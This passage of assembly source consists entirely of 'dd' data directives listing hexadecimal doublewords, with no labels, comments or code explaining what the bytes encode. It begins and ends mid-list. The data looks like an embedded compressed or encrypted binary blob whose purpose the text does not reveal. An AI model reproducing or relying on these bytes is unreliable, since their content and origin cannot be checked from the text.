62B01E87h, 0F732E76Fh, 0A8DAADCh, 60537BE2h dd 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h dd 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h dd 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h dd 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h, 575302Dh dd 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h, 0F8C825D8h dd 1DFEB31h, 22BBE414h, 0C42E6440h, 0B40F2919h, 9C2649h dd 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h dd 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh dd 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh, 0C6004454h dd 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h dd 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h dd 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh dd 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch, 4F1F0086h dd 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah dd 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h, 0F4406Dh dd 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh dd 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h, 2C0111BEh dd 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h, 5D8DA330h dd 20120061h, 0F29D1399h, 53007368h, 44F9800Bh, 0B0C8D074h dd 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh, 1E575243h dd 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh dd 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh dd 785848h, 92598043h, 60EAE2BDh, 723AE900h, 2907C383h dd 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h dd 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h dd 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h dd 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh dd 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh dd 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh dd 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h dd 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h dd 6AD6B7h, 0EBCA5D5Fh, 7C95170Bh, 9053400h, 0EABA74F6h dd 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h dd 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h dd 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h, 6E98E103h dd 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h dd 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h dd 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h dd 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h dd 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh, 0D9AB50C3h dd 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh dd 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h, 0E8D7F830h dd 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h dd 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h dd 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch dd 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh dd 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h dd 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h, 0A6B4BA7h dd 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh, 2563E08Dh dd 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h, 61870DD8h dd 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h, 16C0D848h dd 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h, 681C9D0Bh dd 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh dd 47203Ch, 0F841F940h, 0E8FE0581h, 3AD48200h, 6939FFB8h dd 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h, 0D14020C2h dd 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h, 0EA4714Fh dd 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h dd 92718770h, 8BC09757h, 881EC5h, 66517231h, 0FDC79A5h dd 0CF094F07h, 57D010D5h, 278461h, 7E811575h, 456744A1h dd 37E3C000h, 97173259h, 2B8E0056h, 88723810h, 407CDAF4h dd 915FF800h, 0E1E44D28h dd 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h, 30070E7Eh dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah, 7791F073h dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh dd 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah dd 5BB35F4h, 8C063757h, 902BC0F0h, 7034612h, 497D834Ah dd 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h dd 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h dd 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh dd 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h, 503B55Ch dd 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h, 5000CB2Ch dd 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah dd 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh dd 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh dd 514E444Ch, 342507D0h, 8060094h, 50FE1391h, 205C67FDh dd 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h, 0BB019148h dd 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh, 28E7A65Ch dd 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h dd 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h dd 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h dd 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h, 0D79E7323h dd 51D0C8h, 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h dd 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h, 64EBDFDBh dd 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah dd 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh dd 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh dd 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h, 94613Dh dd 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh dd 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h dd 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h, 0F859F913h dd 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h, 4B6F7181h dd 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h dd 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh dd 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h dd 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh dd 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h, 0D0112CF2h dd 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h, 48901h dd 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh dd 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h dd 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h, 0C80720E9h dd 54046A00h, 37503056h, 0DF442568h, 16245500h, 420099BAh dd 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh, 80102903h dd 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h dd 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh dd 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h dd 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h dd 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h dd 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh dd 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh dd 0A30FE620h, 144D0500h, 24731682h, 2210032h, 774CCE54h dd 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h dd 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh, 1F783352h dd 55007EEBh, 4882694h, 7121179h, 0A2C314A4h, 0FA56F003h dd 4E039FACh, 30E2B810h, 7459D898h, 736B040h, 0C4370E64h dd 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h dd 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h dd 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h dd 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h, 0BB3A00FBh dd 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h dd 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h dd 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h, 4F6100B5h dd 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h, 0E85CB227h dd 45759331h, 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h dd 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh dd 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh dd 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h dd 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h dd 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h dd 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h, 0C0509DA5h dd 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh dd 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h, 2E01A6h dd 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h, 0D0A10013h dd 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh dd 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h, 10680013h dd 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h, 98FAD3h dd 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h, 0DDDB0184h dd 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h, 5212C3Dh dd 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh dd 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h dd 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h dd 9A7E6B7h, 78800498h, 0BE00AA74h, 691B6693h, 168D0034h dd 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h, 331720F3h dd 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h dd 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h dd 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h dd 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h dd 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah, 600F060Bh dd 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh dd 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h dd 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh dd 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h dd 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h dd 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h, 68C1A1E0h dd 0FB0A8058h, 0FC00EA51h dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h, 2B30487h dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h, 2EAD812h dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h, 589C88h dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h, 0E18A64h dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h dd 0B7500CBh, 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch dd 7C9842h, 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh dd 0D11F3Bh, 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h dd 5A06EC3Dh, 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh, 5C328085h dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh dd 38E0AC84h, 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h dd 9FC700Ah, 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh, 18BF0372h dd 2C7F40FBh, 9B831F4Ch dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h dd 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h, 6D55AA12h dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh, 0E3FE3306h dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h, 116049D2h dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh dd 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h dd 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh, 8BE980E7h dd 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h, 0A01D12FAh dd 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h dd 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh dd 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h dd 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah dd 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h, 0E9027F76h dd 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch dd 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h dd 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h dd 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh dd 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h, 0EB48DBB6h dd 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h, 3600FD20h dd 33C81067h, 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh dd 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh dd 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h, 68C61B28h dd 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh, 591F13F4h dd 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h dd 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h dd 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h dd 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh dd 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h dd 374272Ch, 4D228039h, 103E9620h, 0EF560060h, 648AEDE2h dd 47F1906h, 52450B07h, 0C373020Dh, 3AAC88C0h, 0D0F400C4h dd 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch, 0A1C76630h dd 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h, 3925E430h dd 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah dd 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h, 1EDBFE01h dd 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h, 3E60CB00h dd 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h dd 9C0FFAh, 0FBC1B801h, 589666EBh, 116BEC00h, 2703F80Eh dd 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah dd 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h, 0C20776A2h dd 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h dd 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh dd 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h dd 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h dd 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h dd 5ECDE4F9h, 3880500h, 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h dd 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h, 7FD307Ch dd 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h, 0E40FC400h dd 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h, 0DEC16031h dd 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h dd 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h, 0C200AA9Ah dd 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h dd 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h dd 58227507h, 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh dd 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h dd 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h dd 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h dd 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh dd 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h dd 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh dd 